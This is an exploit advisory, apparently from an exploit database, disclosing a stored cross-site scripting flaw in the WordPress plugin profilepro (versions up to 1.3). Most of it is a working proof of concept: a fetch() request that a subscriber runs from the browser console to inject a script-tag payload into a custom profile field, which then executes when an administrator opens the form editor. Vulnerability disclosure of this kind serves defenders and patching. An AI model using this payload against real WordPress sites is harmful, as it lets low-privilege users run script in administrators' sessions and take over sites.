# Exploit Title: profilepro <= 1.3 - Subscriber+ Stored Cross Site Scripting # Date: 15-04-2024 # Exploit Author: Vuln Seeker Cybersecurity Team # Vendor Homepage: https://wordpress.org/plugins/profilepro/ # Version: <= 1.3 # Tested on: Firefox # Contact me: vulns@vulnseeker.org Description The plugin does not sanitise and escape some parameters and lacks proper access controls, which could allow users with a role as low as subscriber to perform Cross-Site Scripting attacks Proof of Concept Run the following code from the browser console from the subscriber user ``` fetch("../wp-admin/admin-ajax.php", { method: "POST", headers: { "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest" }, body: "title=%22%3E%3Cscript%3Ealert(1339)%3C%2Fscript%3E&label=&meta_key=&placeholder=&help_text=&privacy=1&max_length=&is_required=1&user_edit=1&icon=&type=textarea&action=profilepro_admin_add_custom_field&arg2=89", credentials: "include" }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.text(); }) .then(data => console.log(data)) .catch(error => console.error('Error:', error)); ``` - As an admin, go to http://example.com/wp-admin/edit.php?post_type=profilepro_form - Choose the default profile, click on edit and click on add field, XSS will pop up. Reference: https://wpscan.com/vulnerability/8faf1409-44e6-4ebf-9a68-b5f93a5295e9/